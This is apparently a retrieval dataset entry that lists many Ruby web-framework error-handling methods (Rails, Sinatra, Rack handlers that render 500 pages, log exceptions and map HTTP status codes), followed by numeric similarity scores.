"def handle_request_exception(exception)\n # puts \"ERROR: #{exception}\\n\" + exception.backtrace.join(\"\\n\")\n handle_error_response(exception.kind_of?(CAHTTPError) ? JSON.parse(exception.response) : {})\n end",
"def egregious_respond_to(exception)\n respond_to do |format|\n status = status_code_for_exception(exception)\n format.xml { render :xml=> exception.to_xml, :status => status }\n format.json { render :json=> exception.to_json, :status => status }\n # render the html page for the status we are returning it exists...if not then render the 500.html page.\n format.html {\n # render the rails exception page if we are local/debugging\n if(Rails.application.config.consider_all_requests_local || request.local?)\n raise exception\n else\n render :file => File.exists?(build_html_file_path(status)) ?\n build_html_file_path(status) : build_html_file_path('500'),\n :status => status\n end\n }\n end\n end",
"def error_handler\n begin\n yield\n rescue => exception\n options = Rails.env.development? ? {:backtrace => exception.backtrace, :class => exception.class.to_s} : {}\n render_error(exception.message, options)\n end\n end",
"def respond_with_exception(exception = nil)\n msg = exception ? exception.message : \"Internal Server Error\"\n render partial: \"api/error\", locals: { message: msg, error_code: \"exception\" }, status: 500\n return false\n end",
"def raise_exception_or_error_response(exception, status_code)\n if raise_exceptions?\n raise exception\n else\n bail status_code, exception.message\n end\n end",
"def render_exception(e)\n @message = e.message\n @backtrace = e.backtrace\n\n response_erb = ERB.new(File.read(\"../lib/templates/rescue.html.erb\"))\n response_text = response_erb.result(binding)\n response = ['500', {'Content-type' => 'text/html'}, [response_text]]\n end",
"def handle_error(e)\n # if an error is raised, we send an error response\n unless @response_sent || @streaming\n send_response(Response.error(e))\n end\n end",
"def error_rescue(exception = nil)\n return render_error_status(404, exception.message)\n end",
"def handle_exception(e, env)\n trace = e.backtrace.join \"\\n\"\n Tom::Log.logger.info e\n Tom::Log.logger.info trace\n [500, {}, {error: e,\n stacktrace: trace,\n url: env[\"REQUEST_URI\"]\n }.to_json]\n end",
"def handle_exceptions &block\n begin\n yield\n rescue RestClient::Exception => e\n Response.new(e.response, :error => e.message)\n end\n end",
"def error_500\n if !request.xhr?\n render :template => \"errors/500\", :status => \"500 Internal Server Error\"\n else\n respond_to do |format|\n format.json {render :json => {\n :error => \"500\",\n }, :status => \"500\"}\n end\n end\n end",
"def return_error(opts = {})\n opts[:error_code] = opts[:error_code] || 500\n opts[:message] = opts[:message] || 'An Internal Error Occurred'\n if request.accept?('application/json') || request.accept?('application/vnd.api+json')\n response.headers['Content-Type'] = 'application/vnd.api+json'\n halt opts[:error_code], build_json_error(opts)\n else\n halt opts[:error_code], opts[:message]\n end\n end",
"def capture_error(env)\n _, headers, body = response = @app.call(env)\n\n if headers['X-Cascade'] == 'pass'\n body.close if body.respond_to?(:close)\n raise ActionController::RoutingError,\n \"No route matches [#{env['REQUEST_METHOD']}] \" \\\n \"#{env['PATH_INFO'].inspect}\"\n end\n\n response\n rescue Exception => exception # rubocop:disable Lint/RescueException\n wrapper = exception_wrapper(env, exception)\n log_error(env, wrapper)\n render_json_error(wrapper)\n end",
"def rescue_http_error(exception)\n status, headers, body = exception.to_response\n if self.respond_to?(:render_http_error)\n [status, headers, self.render_http_error(exception)]\n else\n [status, headers, body]\n end\n end",
"def bite\n raise @_error if @_error\n before\n response(handle_call)\n rescue Exception => e\n code, error = 500, e\n if Lunetas::Error::BaseError === e\n code = e.code\n elsif development?\n error = \"Error: #{e.message}\\nBacktrace: #{e.backtrace.join(\"\\n\")}\"\n end\n response(error, code)\n end",
"def error\n render plain: '500 Internal Server Error', status: :internal_server_error\n end",
"def handle_exception e\n response.headers['Content-Type'] = 'application/json'\n response.body = { message: e.message, backtrace: e.backtrace }.to_json\n end",
"def error_rendering(exception, symbol)\n Rails.logger.error exception\n\n @exception = exception\n @symbol = symbol\n @code = Rack::Utils::SYMBOL_TO_STATUS_CODE[symbol].to_i\n respond_with @exception, status: @code, template: ERROR_PATH, prefixes: _prefixes\n end",
"def error_response(error = {})\n status = error[:status] || options[:default_status]\n message = error[:message] || options[:default_message]\n headers = { Grape::Http::Headers::CONTENT_TYPE => content_type }\n headers.merge!(error[:headers]) if error[:headers].is_a?(Hash)\n backtrace = error[:backtrace] || []\n rack_response(format_message(status, message, backtrace), status, headers)\n end",
"def handle_exception(exception)\n diagnosis = SData::Diagnosis::DiagnosisMapper.map(exception)\n\n status diagnosis.http_status_code || 500\n content_type 'application/xml'\n\n diagnosis.to_xml(:root)\n exception.to_s\n end",
"def internal_server_error(object)\n render json: object, status: 500\n end",
"def error_500\n render 'error/error500'\n end",
"def http_status_exception(exception)\n @exception = exception\n render_options = {:template => exception.template, :status => exception.status}\n render_options[:layout] = exception.template_layout if exception.template_layout\n render(render_options)\n rescue ActionView::MissingTemplate\n head(exception.status)\n end",
"def log_error_rack(exception, env, _rack_filter)\n timestamp = set_log_error_timestamp\n exception_info = ExceptionInfo.new(exception, env, timestamp)\n\n if stub_handler\n stub_handler.handle_stub_log_error(exception_info.data)\n else\n # TODO: add a more interesting custom description, like:\n # custom_description = \": caught and processed by Rack middleware filter #{rack_filter}\"\n # which would be nice, but would also require changing quite a few tests\n custom_description = \"\"\n write_exception_to_log(exception, custom_description, timestamp)\n\n send_external_notifications(exception_info)\n\n nil\n end\n end",
"def internal_server_error(exception = nil)\n error_rendering exception, __callee__\n end",
"def render_500\n render 'errors/index_500'\n end",
"def rescue_with_handler(exception)\n to_return = super\n if to_return\n verbose = self.class.exception_notifiable_verbose && respond_to?(:logger) && !logger.nil?\n logger.info(\"[RESCUE STYLE] rescue_with_handler\") if verbose\n data = get_exception_data\n status_code = status_code_for_exception(exception)\n #We only send email if it has been configured in environment\n send_email = should_email_on_exception?(exception, status_code, verbose)\n #We only send web hooks if they've been configured in environment\n send_web_hooks = should_web_hook_on_exception?(exception, status_code, verbose)\n the_blamed = ExceptionNotification::Notifier.config[:git_repo_path].nil? ? nil : lay_blame(exception)\n rejected_sections = %w(request session)\n # Debugging output\n verbose_output(exception, status_code, \"rescued by handler\", send_email, send_web_hooks, nil, the_blamed, rejected_sections) if verbose\n # Send the exception notification email\n perform_exception_notify_mailing(exception, data, nil, the_blamed, verbose, rejected_sections) if send_email\n # Send Web Hook requests\n ExceptionNotification::HooksNotifier.deliver_exception_to_web_hooks(ExceptionNotification::Notifier.config, exception, self, request, data, the_blamed) if send_web_hooks\n pass_it_on(exception, ENV, verbose)\n end\n to_return\n end",
"def error_response(exception)\n render json: { message: exception.message }, status: :bad_request\n end",
"def with_exception_handling\r\n yield\r\n rescue Timeout::Error => exc\r\n return { code: Scrapers::StatusCodes::BLOCKED_REQUEST }\r\n rescue Exception => exc\r\n @logger.error(\"\\n#{self.class} error\")\r\n @logger.error(exc)\r\n @logger.error(exc.backtrace.join(\"\\n\"))\r\n @logger.error(body)\r\n\r\n return { code: Scrapers::StatusCodes::INTERNAL_ERROR }\r\n end",
"def error_catcher\n yield\n rescue Errors::ApiError => e\n logger.info e.backtrace.first(5).join(\"\\n\")\n render json: e.error_hash, status: e.status_code\n end",
"def internal_error(exception)\n data = error('internal_error', 'We have been notified.', format_exception(exception))\n [500, hdrs(content_length: data_size(data)), [data]]\n end",
"def render_500(exception = nil)\n if exception\n# twit_msg = \"http://www.megam.co: error, support issue created.\".slice! 0..140\n# client = Twitter::REST::Client.new do |config|\n# config.consumer_key = ENV['TWITTER_CLIENT_ID']\n# config.consumer_secret = ENV['TWITTER_SECRET_KEY']\n# config.access_token =ENV['TWITTER_ACCESS_TOKEN']\n# config.access_token_secret =ENV['TWITTER_ACCESS_TOKEN_SECRET']\n# end\n# begin\n# client.update(twit_msg)\n# rescue Twitter::Error\n# ## just ignore twitter errors.\n# end\n\n short_msg = \"(#{exception.message})\"\n filtered_trace = exception.backtrace.grep(/#{Regexp.escape(\"nilavu\")}/)\n if !filtered_trace.empty?\n full_stacktrace = filtered_trace.join(\"\\n\")\n Rails.logger.fatal \"\\n#{short_msg}\"\n Rails.logger.fatal \"#{full_stacktrace}\"\n UserMailer.error_email({:email => current_user[\"email\"], :message =>\"#{short_msg}\", :stacktrace => \"#{full_stacktrace}\" }).deliver\n end\n end\n respond_to do |format|\n format.html { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.js { render template: 'errors/internal_server_error', layout: 'application', status: 500 }\n format.all { render nothing: true, status: 500}\n end\n end",
"def handle_render_error( node, exception )\n\t\tself.log.error \"%s while rendering %p: %s\" %\n\t\t\t[ exception.class.name, node.as_comment_body, exception.message ]\n\n\t\thandler = self.errhandler\n\t\traise ScriptError, \"error handler %p isn't #call-able!\" % [ handler ] unless\n\t\t\thandler.respond_to?( :call )\n\n\t\tself.log.debug \"Handling %p with handler: %p\" % [ exception.class, handler ]\n\t\treturn handler.call( self, node, exception )\n\n\trescue ::StandardError => err\n\t\t# Handle exceptions from overridden error handlers (re-raised or errors in\n\t\t# the handler itself) via the default handler.\n\t\tif handler && handler != self.default_errhandler\n\t\t\tself.log.error \"%p (re)raised from custom error handler %p\" % [ err.class, handler ]\n\t\t\tself.default_errhandler.call( self, node, exception )\n\t\telse\n\t\t\traise( err )\n\t\tend\n\tend",
"def standard_error(error)\n #When we rescue an error, we prevent our program from doing what\n #it normally would do - crashing, such as logging the details\n #and the backtrace. it's important to always log this information\n #when rescuing a general type\n\n #Use the logger.error method with an error's message to\n #log the error details again\n logger.error error.full_message\n\n render(\n status: 500,\n json:{\n status:500,\n errors:[{\n type: error.class.to_s,\n message: error.message\n }]\n }\n )\n end",
"def process(env)\n call_stack(:before, :process)\n\n req = Request.new(env)\n res = Response.new\n\n # set response format based on request\n res.format = req.format\n\n @context = AppContext.new(req, res)\n\n set_initial_cookies\n\n @found = false\n catch(:halt) {\n call_stack(:before, :route)\n\n @found = @router.perform(context, self) {\n call_stack(:after, :match)\n }\n\n call_stack(:after, :route)\n\n unless found?\n handle(404, false)\n\n if config.app.errors_in_browser\n response[\"Content-Type\"] = 'text/html'\n\n view_file = File.join(File.expand_path('../../', __FILE__), 'views', 'errors', '404.html')\n content = File.open(view_file).read\n\n path = String.normalize_path(request.path)\n path = '/' if path.empty?\n\n content.gsub!('{view_path}', path == '/' ? 'index.html' : \"#{path}.html\")\n content.gsub!('{route_path}', path)\n\n response.body = []\n response.body << content\n end\n end\n }\n\n set_cookies\n\n call_stack(:after, :process)\n\n response.finish\n rescue StandardError => error\n call_stack(:before, :error)\n\n request.error = error\n\n handle(500, false) unless found?\n\n if config.app.errors_in_browser\n response[\"Content-Type\"] = 'text/html'\n\n view_file = File.join(File.expand_path('../../', __FILE__), 'views', 'errors', '500.html')\n content = File.open(view_file).read\n\n path = String.normalize_path(request.path)\n path = '/' if path.empty?\n\n nice_source = error.backtrace[0].match(/^(.+?):(\\d+)(|:in `(.+)')$/)\n\n content.gsub!('{file}', nice_source[1].gsub(File.expand_path(Config.app.root) + '/', ''))\n content.gsub!('{line}', nice_source[2])\n\n content.gsub!('{msg}', CGI.escapeHTML(error.to_s))\n content.gsub!('{trace}', error.backtrace.map { |bt| CGI.escapeHTML(bt) }.join('<br>'))\n\n response.body = []\n response.body << content\n end\n\n call_stack(:after, :error)\n\n response.finish\n end",
"def error_generic(exception)\n # if you are using generic error handler you must pass error to Kiev explicitly\n Kiev.error = exception\n # using this to show propper error code for ActiveRecord::RecordNotFound\n # but text in case of ActiveRecord::RecordNotFound will be wrong\n render(\n status: ::ActionDispatch::ExceptionWrapper.status_code_for_exception(exception.class.name),\n plain: \"Internal server error\"\n )\n end",
"def render_exception_response(exception, response_code)\n case response_code\n when :unauthorized\n logged_in? ? access_denied : must_be_logged_in\n when :forbidden\n access_denied\n when :not_implemented\n not_yet_implemented\n else\n status = interpret_status(response_code) # defaults to \"500 Unknown Status\" if response_code is not recognized\n status_code = status[0,3]\n respond_to do |format|\n format.html do\n @error_page_title = I18n.t(\"error_#{status_code}_page_title\", :default => [:error_default_page_title, \"Error.\"])\n @status_code = status_code\n render :layout => 'v2/errors', :template => 'content/error', :status => status_code\n end\n format.js do\n render :layout => false, :template => 'content/error', :status => status_code\n end\n format.all { render :text => status, :status => status_code }\n end\n end\n end",
"def throw500(msg = \"\", details = nil)\n MU.log \"Returning 500 to client: #{msg}\", MU::ERR, details: details\n page = genHTMLMessage(title: \"500 Error\", headline: msg, msg: details)\n [\n 500,\n {\n 'Content-Type' => 'text/html',\n 'Content-Length' => page.length.to_s\n },\n [page]\n ]\nend",
"def server_error(exception)\n # Whatever code that handles the exception\n\n ExceptionNotifier.notify_exception(exception,\n :env => request.env, :data => {:message => \"was doing something wrong\"})\n end",
"def handle_request_error(exception)\n end",
"def call(env) # :nodoc:\n reset!\n @env = env\n\n response = catch(:error) do\n render instance_eval(&handler)\n end\n\n response.respond_to?(:to_rack) ? response.to_rack : response\n rescue Exception => exception\n handle_exception exception\n end",
"def log_error(response)\n if response.code.to_i >= 500\n @logger.error \"Request #{@uri} failed: #{response.code}\"\n end\n response\n end",
"def rescue_action(exception)\n if handler_for_rescue(exception)\n rescue_action_with_handler(exception)\n else\n log_error(exception) if logger\n erase_results if performed?\n\n # Let the exception alter the response if it wants.\n # For example, MethodNotAllowed sets the Allow header.\n if exception.respond_to?(:handle_response!)\n exception.handle_response!(response)\n end\n\n if consider_all_requests_local || local_request?\n rescue_action_locally(exception)\n else\n rescue_action_in_public(exception)\n end\n end\n end",
"def error(code=500, body = nil)\n unless code.is_a?(Integer)\n body = code\n code = 500\n end\n\n response.status = code\n response.body = body if body\n halt\n end",
"def handle_api_error(error_class)\n rescue_from error_class do |ex|\n problem, status =\n if block_given?\n yield ex\n else\n [{ detail: ex.message }, :ok]\n end\n\n render problem: problem, status: status\n end\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...400\n response\n when 404\n raise NotFoundError.new(response)\n else\n raise ConnectionError.new(response)\n end\n end",
"def error\n\t\t@page_title = '500 Error'\n\t\t@url_path = get_path\n\t\tflash.now[:error] = \"An error occurred while attempting to access ‘#{@path}’.\"\n\t\trender :action=>'error', :status=>'500 Error'\n\tend",
"def set_error(status)\n error_response = Rack::Response.new\n error_response.status = status\n @error_response = error_response.finish {yield}\n end",
"def generic_exception(error)\n render json: {\n error: error.message\n }, status: :internal_server_error\n end",
"def send_error(e, res)\n res.status = 500\n res['Content-Type'] = 'application/json'\n body = { code: -1, error: \"#{e.class}: #{e.message}\" }\n body[:backtrace] = e.backtrace\n res.body = @shell.data(body).json(@shell.indent)\n @shell.logger.warn(Impl.format_error(e))\n\tend",
"def set_error(ex, backtrace=false)\n\n # set repsonse headers\n @status = 404;\n @header['content-type'] = \"text/html; charset=UTF-8\"\n\n # set response content\n @body = ''\n @body << <<-_end_of_html_\n \n <HTML>\n <HEAD>\n <TITLE>No page for you!</TITLE>\n\n <STYLE type=\"text/css\">\n BODY { font: 8pt/12pt verdana }\n H1 { font: 13pt/15pt verdana }\n H2 { font: 8pt/12pt verdana }\n A:link { color: black; text-decoration: none }\n A:visited { color: black; text-decoration: none }\n </STYLE>\n\n </HEAD><BODY>\n <TABLE width=500 border=0 cellspacing=10>\n <TR>\n <TD>\n\n <h1><a href=\"http://www.bindshell.net/tools/beef/\">These aren't the pages you're looking for</a></h1>\n \n </TD>\n </TR>\n </TABLE>\n </BODY>\n </HTML>\n \n _end_of_html_\n \n end",
"def error exception, req, res\n backtrace = exception.backtrace.join \"\\n\"\n\n res.content_type = 'text/html'\n res.status = 500\n res.body = <<-BODY\n<!DOCTYPE html>\n<html>\n<head>\n<meta content=\"text/html; charset=UTF-8\" http-equiv=\"Content-Type\">\n\n<title>Error - #{ERB::Util.html_escape exception.class}</title>\n\n<link type=\"text/css\" media=\"screen\" href=\"#{@mount_path}/css/rdoc.css\" rel=\"stylesheet\">\n</head>\n<body>\n<h1>Error</h1>\n\n<p>While processing <code>#{ERB::Util.html_escape req.request_uri}</code> the\nRDoc (#{ERB::Util.html_escape RDoc::VERSION}) server has encountered a\n<code>#{ERB::Util.html_escape exception.class}</code>\nexception:\n\n<pre>#{ERB::Util.html_escape exception.message}</pre>\n\n<p>Please report this to the\n<a href=\"https://github.com/ruby/rdoc/issues\">RDoc issues tracker</a>. Please\ninclude the RDoc version, the URI above and exception class, message and\nbacktrace. If you're viewing a gem's documentation, include the gem name and\nversion. If you're viewing Ruby's documentation, include the version of ruby.\n\n<p>Backtrace:\n\n<pre>#{ERB::Util.html_escape backtrace}</pre>\n\n</body>\n</html>\n BODY\n end",
"def handle_exception(exception, options = {})\n request = options[:request]\n render_errors = options[:render_errors] || false\n proc_name = options[:proc_name] || config[:app_name]\n error_messages = options[:error_messages] || ['']\n\n error_messages = [error_messages] unless error_messages.is_a?(Array)\n\n if exception.respond_to?(:backtrace)\n backtrace = exception.backtrace\n else\n backtrace = caller\n end\n\n # extract the relevant request data and also filter out any params\n # that should NOT be logged/emailed (passwords etc.)\n request_data = request_data_from_request(request) unless request.nil?\n\n supplementary_info = nil\n\n unless config[:call_for_supplementary_info].nil?\n supplementary_info = config[:call_for_supplementary_info].call(request)\n supplementary_info = [supplementary_info] unless supplementary_info.is_a?(Array)\n end\n\n unless supplementary_info.blank?\n error_messages << \"Supplementary info:\"\n error_messages += supplementary_info\n end\n\n if exception.nil?\n exception_classname = nil\n status_code = nil\n log_error error_messages.inspect\n log_error backtrace\n log_error \"Request params were:\"\n log_error request_data.to_yaml\n error_string = error_messages.shift\n else\n status_code =\n Wrangler::ExceptionHandler.status_code_for_exception(exception)\n\n log_exception(exception, request_data, status_code, error_messages)\n\n if exception.is_a?(Class)\n exception_classname = exception.name\n else\n exception_classname = exception.class.name\n end\n\n if exception.respond_to?(:message)\n error_string = exception.message\n else\n error_string = exception.to_s\n end\n end\n\n if send_notification?(exception, request, status_code)\n if notify_with_delayed_job?\n # don't pass in request as it contains not-easily-serializable stuff\n log_error \"Wrangler sending email notification asynchronously\"\n Wrangler::ExceptionNotifier.send_later(:deliver_exception_notification,\n exception_classname,\n error_string,\n error_messages,\n proc_name,\n backtrace,\n supplementary_info,\n status_code,\n request_data)\n else\n log_error \"Wrangler sending email notification synchronously\"\n Wrangler::ExceptionNotifier.deliver_exception_notification(exception_classname,\n error_string,\n error_messages,\n proc_name,\n backtrace,\n supplementary_info,\n status_code,\n request_data,\n request)\n end\n end\n\n if render_errors\n render_error_template(exception, status_code)\n end\n\n rescue Exception => unhandled_exception\n # if it looks like a temporary error interacting with SMTP, then enqueue\n # the error using delayed job if possible\n # (testing by name this way in case the exception isn't loaded into\n # environment, which would cause a NameError and be counterproductive...)\n if unhandled_exception.class.name == 'Net::SMTPAuthenticationError' &&\n Wrangler::ExceptionNotifier.respond_to?(:send_later)\n\n log_error \"Wrangler failed to send error notification: #{unhandled_exception.class.name}:\"\n log_error \" #{unhandled_exception.to_s}\"\n\n # note: this is specific to an old-ish version of delayed job...should\n # make wrangler compatible with the old and the new...\n log_error \"Wrangler attempting to send via delayed job\"\n Wrangler::ExceptionNotifier.send_later(:deliver_exception_notification,\n exception_classname,\n error_string,\n error_messages,\n proc_name,\n backtrace,\n supplementary_info,\n status_code,\n request_data)\n else\n log_error \"/!\\\\ FAILSAFE /!\\\\ Wrangler encountered an unhandled exception \" +\n \"while trying to handle an error. The arguments it received \" +\n \"were:\"\n log_error \" exception: #{exception.inspect}\"\n log_error \" options: #{options.inspect}\"\n log_error \"The unhandled error encountered was #{unhandled_exception.class.name}:\"\n log_error \" #{unhandled_exception.to_s}\"\n end\n end",
"def response_for(status, exception)\n render json: {\n errors: [exception.message],\n }, status: status\n end",
"def setup_error_handling(rack_env)\n end",
"def rescue_with_handler(exception)\n\t\tif current_user and current_user.is_administrator?\n\t\t\treturn\n\t\t\t@exception = exception\n\t\tend\n\t\t\n\t\tif current_user\n\t\t\trender template: \"errors/500\"\n\t\telse\n\t\t\trender template: \"errors/500\", layout:\"login\"\n\t\tend\n\tend",
"def render_error(msg, code=500)\n respond_with(nil, :status => {:msg => msg, :code => code})\n end",
"def handle_response(response)\n case response.code.to_i\n when 200...300\n response\n else\n raise ResponseError.new(response)\n end\n end",
"def error_on(exception, message)\n env.logger.debug \"---BUILD ERROR RESPONSE #{self.class}---\\t #{exception.inspect} with message #{message}\"\n raise exception, message\n end",
"def generic_exception(error)\n render json: {\n success: false,\n message: error.message\n }, status: :internal_server_error\n end",
"def default_errors!\n configure :production do\n error ::Exception do\n boom = env['sinatra.error']\n logger.error [\"#{boom.class} - #{boom.message}:\", *boom.backtrace].join(\"\\n \")\n response.status = 500\n content_type 'text/html'\n '<h1>Internal Server Error</h1>'\n end\n end\n end",
"def rescue_action_locally(exception)\n @exception = exception\n @rescues_path = File.dirname(__FILE__) + \"/templates/rescues/\"\n add_variables_to_assigns\n @contents = @template.render_file(template_path_for_local_rescue(exception), false)\n \n @headers[\"Content-Type\"] = \"text/html\"\n render_file(rescues_path(\"layout\"), \"500 Internal Error\")\n end",
"def rescue_action_locally(exception)\n @exception = exception\n @rescues_path = File.dirname(__FILE__) + \"/templates/rescues/\"\n add_variables_to_assigns\n @contents = @template.render_file(template_path_for_local_rescue(exception), false)\n \n @headers[\"Content-Type\"] = \"text/html\"\n render_file(rescues_path(\"layout\"), \"500 Internal Error\")\n end",
"def process_response(url, response)\n json = response.parsed_response\n response_code = json['responseCode']\n return json unless response_code != 1\n\n # we got an error response from the handle server, so convert it into\n # an actual exception and throw it here\n\n message = if json['message']\n json['message']\n elsif Error.response_codes.include? response_code\n Error.response_codes[response_code]\n else\n 'Unexpected error'\n end\n\n error = Error.new(response_code, message)\n error.handle = json['handle']\n error.url = url\n raise error\n end",
"def error_occurred(exception)\n if exception.is_a?(ActiveRecord::RecordNotFound)\n status_code = 404\n else\n status_code = 500\n end\n response = {success: false}\n # Show more information if not in production\n if Rails.env.test? || Rails.env.development?\n response[:exception] = { message: exception.message, backtrace: exception.backtrace}\n end\n render json: response, status: status_code\n end",
"def handle_error_response(response)\n # Some errors come back under the `message` key while others are nested\n # under `error`\n error_message = response.body.dig('message') || response.body.dig('error', 'message')\n Rails.logger.error(\"SOLIDUS DRIP | #{error_message}\")\n end",
"def send_error(e, res)\n res.code = 500\n res['Content-Type'] = 'application/json'\n body = { code: -1, error: \"#{e.class}: #{e.message}\" }\n body[:backtrace] = e.backtrace\n res.body = @shell.data(body).json(@shell.indent)\n @shell.logger.warn(Impl.format_error(e))\n\tend",
"def handle_response(response)\n case response.code.to_i\n when 301, 302, 303, 307\n raise Redirection, response\n when 200...400\n response\n when 400\n raise ResourceInvalid, response\n when 401\n raise UnauthorizedAccess, response\n when 403\n raise ForbiddenAccess, response\n when 404\n raise ResourceNotFound, response\n when 405\n raise MethodNotAllowed, response\n when 409\n raise ResourceConflict, response\n when 410\n raise ResourceGone, response\n when 422\n raise ResourceInvalid, response\n when 401...500\n raise ClientError, response\n when 500...600\n raise ServerError, response\n else\n raise(ConnectionError.new(response, \"Unknown response code: #{response.code}\"))\n end\n end",
"def handle_exception(exception)\n if safe_rescue_exception?(exception)\n # This exception should be safely rescued to prevent false positive for the dynamic scanners. Log the exception\n message = \"Automatic handled \" + exception.class.to_s + \": \" + exception.message + \" to prevent false positive\"\n logger.debug message\n flash[:alert] = message unless running?\n # Try to render the normal controller action (although with empty results) as if everything is well\n render\n else\n # This exception should not be safe rescued (possible SQL injection!). Simply raise the exception again to display the full error.\n logger.fatal \"Params: \"+ params.inspect\n raise exception\n end\n end",
"def handle_exception(e)\n if e.flags.has_key?(:layout) then\n @_layout = e.flags[:layout]\n end\n\n if e.flags.has_key?(:no_after_filters) then\n @_stop_no_after_filters = true\n end\n\n if e.flags.has_key?(:redirect) then\n @_layout = false\n to = e.flags[:redirect]\n clear\n @_content = \"<!DOCTYPE HTML PUBLIC \\\"-//W3C//DTD HTML 4.0 Transitional//EN\\\"><html><head><title>Redirecting...</title><meta http-equiv=\\\"REFRESH\\\" content=\\\"0;url=#{to}\\\"></HEAD></HTML>\"\n @cancel_execution = true\n end\n\n if e.flags.has_key?(:error) then\n @_layout = false\n http_status \"SERVER_ERROR\"\n clear\n @error_message = e.flags[:error]\n @cancel_execution = true\n trace = ''\n if Cuca::App.config['display_errors'] then\n e.backtrace.each do |b|\n trace<< \"<br/>#{b}\"\n end\n end\n mab { html { body { h2 \"Error\"; text @error_message; br; text trace }}}\n end\n \n if e.flags.has_key?(:cancel_execution) then\n @cancel_execution = true\n end\n end",
"def render_error(exception)\n # use the exception_notifier gem to send out an e-mail\n # to the notification list specified in config/environment.rb\n ExceptionNotifier.notify_exception(exception, env: request.env,\n data: {\n user: current_user,\n course: @course,\n assessment: @assessment,\n submission: @submission\n })\n\n respond_to do |format|\n format.html do\n # stack traces are only shown to instructors and administrators\n # by leaving @error undefined, students and CAs do not see stack traces\n if !current_user.nil? && (current_user.instructor? || current_user.administrator?)\n @error = exception\n\n # Generate course id and assessment id objects\n @course_name = params[:course_name] ||\n (params[:controller] == \"courses\" ? params[:name] : nil)\n if @course_name\n @assessment_name = params[:assessment_name] ||\n (params[:controller] == \"assessments\" ? params[:name] : nil)\n\n end\n end\n\n render \"home/error_500\"\n end\n format.json { head :internal_server_error }\n format.js { head :internal_server_error }\n end\n end",
"def handle_public_exception(exception)\n render :template => 'testing/error_page.html'\n end",
"def internal_error\n\t\tself.status = 500\n\t\tself.headers = {}\n\t\tself.content = [\"Internal error\"]\n\t\tself\n\tend",
"def rescue_action_in_public(exception)\n render :template => \"shared/error\", :status => \"500\"\n end",
"def handle_generic_error ex\n log_exception(ex)\n errors _(\"An unexpected error has occurred, details have been logged.\")\n redirect_back\n end",
"def handle_error(response)\n unless response[0] == :error\n raise InvalidReponse, \"Expected error response, got: #{response.inspect}\"\n end\n\n type, code, klass, detail, backtrace = response[1]\n case type \n when :server\n if code == 1\n raise NoSuchModule\n elsif code == 2\n raise NoSuchFunction\n else\n raise UnknownError, \"Unknown server error: #{response.inspect}\"\n end\n when :user\n raise UserError.new(\"#{klass}: #{detail}\\n#{backtrace.join()}\")\n when :protocol\n if code == 1\n raise BadHeader\n elsif code == 2\n raise BadData\n else\n raise UnknownError, \"Unknown protocol error: #{reponse.inspect}\"\n end\n else\n raise UnknownError, \"Unknown error: #{response.inspect}\"\n end\n end",
"def handle_response(request, response)\n case response.code.to_i\n when 301,302\n raise(Redirection.new(request, response))\n when 200...400\n response\n when 400\n raise(BadRequest.new(request, response))\n when 401\n raise(UnauthorizedAccess.new(request, response))\n when 403\n raise(ForbiddenAccess.new(request, response))\n when 404\n raise(ResourceNotFound.new(request, response))\n when 405\n raise(MethodNotAllowed.new(request, response))\n when 409\n raise(ResourceConflict.new(request, response))\n when 412\n raise(PreconditionFailed.new(request, response))\n when 422\n raise(ResourceInvalid.new(request, response))\n when 401...500\n raise(ClientError.new(request, response))\n when 500...600\n raise(ServerError.new(request, response))\n else\n raise(ConnectionError.new(request, response, \"Unknown response code: #{response.code}\"))\n end\n begin\n if response.body.blank?\n nil\n else\n hash = JSON(response.body)\n normalize_hash(hash)\n end\n rescue JSON::ParserError => e\n raise(ConnectionError.new(request, response, \"Invalid json response: #{e.body}\"))\n end\n end",
"def error code, body=nil\n code, body = 500, code if code.respond_to? :to_str\n @response.body = body unless body.nil?\n halt code\n end",
"def rails_controller_rescue\n yield\n rescue Exception => exception\n rails_controller_instance.rescue_with_handler(exception) || raise\n\n unless rails_controller_instance.performed?\n raise Rodauth::Rails::Error, \"rescue_from handler didn't write any response\"\n end\n end",
"def status_code\n 500 # This should not be called directly\n end",
"def handle_error(response)\n unless response[0] == :error\n raise InvalidResponse, \"Expected error response, got: #{response.inspect}\"\n end\n\n type, code, klass, detail, backtrace = response[1]\n case type\n when :server\n if code == 1\n raise NoSuchModule\n elsif code == 2\n raise NoSuchFunction\n else\n raise UnknownError, \"Unknown server error: #{response.inspect}\"\n end\n when :user\n raise UserError.new(\"#{klass}: #{detail}#{\"\\n#{backtrace.join()}\" if backtrace.respond_to?(:join)}\", klass, code)\n when :protocol\n if code == 1\n raise BadHeader\n elsif code == 2\n raise BadData\n else\n raise UnknownError, \"Unknown protocol error: #{response.inspect}\"\n end\n else\n raise UnknownError, \"Unknown error: #{response.inspect}\"\n end\n end"
] | [
"0.731188",
"0.7174244",
"0.7033307",
"0.6968687",
"0.6931454",
"0.6908432",
"0.68350697",
"0.67627835",
"0.6713306",
"0.65973717",
"0.65823203",
"0.65475065",
"0.65432066",
"0.65420574",
"0.65269786",
"0.65223503",
"0.650062",
"0.65005255",
"0.6499815",
"0.64948493",
"0.6478501",
"0.643208",
"0.64008623",
"0.6400811",
"0.63809776",
"0.6368144",
"0.6360678",
"0.6350993",
"0.6334755",
"0.6318266",
"0.6313179",
"0.6310603",
"0.6310411",
"0.6308916",
"0.63059264",
"0.62422246",
"0.62225515",
"0.6213415",
"0.6202912",
"0.6174249",
"0.6154134",
"0.6147124",
"0.6147042",
"0.6140742",
"0.61397207",
"0.6139034",
"0.6136114",
"0.61233515",
"0.61173093",
"0.6116515",
"0.60861593",
"0.60807216",
"0.60700125",
"0.6066844",
"0.60509044",
"0.6044951",
"0.60288966",
"0.6024655",
"0.6020332",
"0.5991901",
"0.59831953",
"0.5971045",
"0.59552723",
"0.59541786",
"0.59541786",
"0.59087646",
"0.59062093",
"0.5906188",
"0.5905486",
"0.59004813",
"0.5888173",
"0.58877283",
"0.58869565",
"0.58595985",
"0.5850866",
"0.58483374",
"0.58432066",
"0.5830705",
"0.5830644",
"0.58216393",
"0.5820715",
"0.5820715",
"0.5810517",
"0.5798534",
"0.5795083",
"0.57845765",
"0.5774192",
"0.5771637",
"0.5767816",
"0.5760966",
"0.5759166",
"0.57500434",
"0.57491356",
"0.5744626",
"0.574138",
"0.57162505",
"0.5685781",
"0.5684962",
"0.56561977",
"0.5636385"
] | 0.73504764 | 0 |
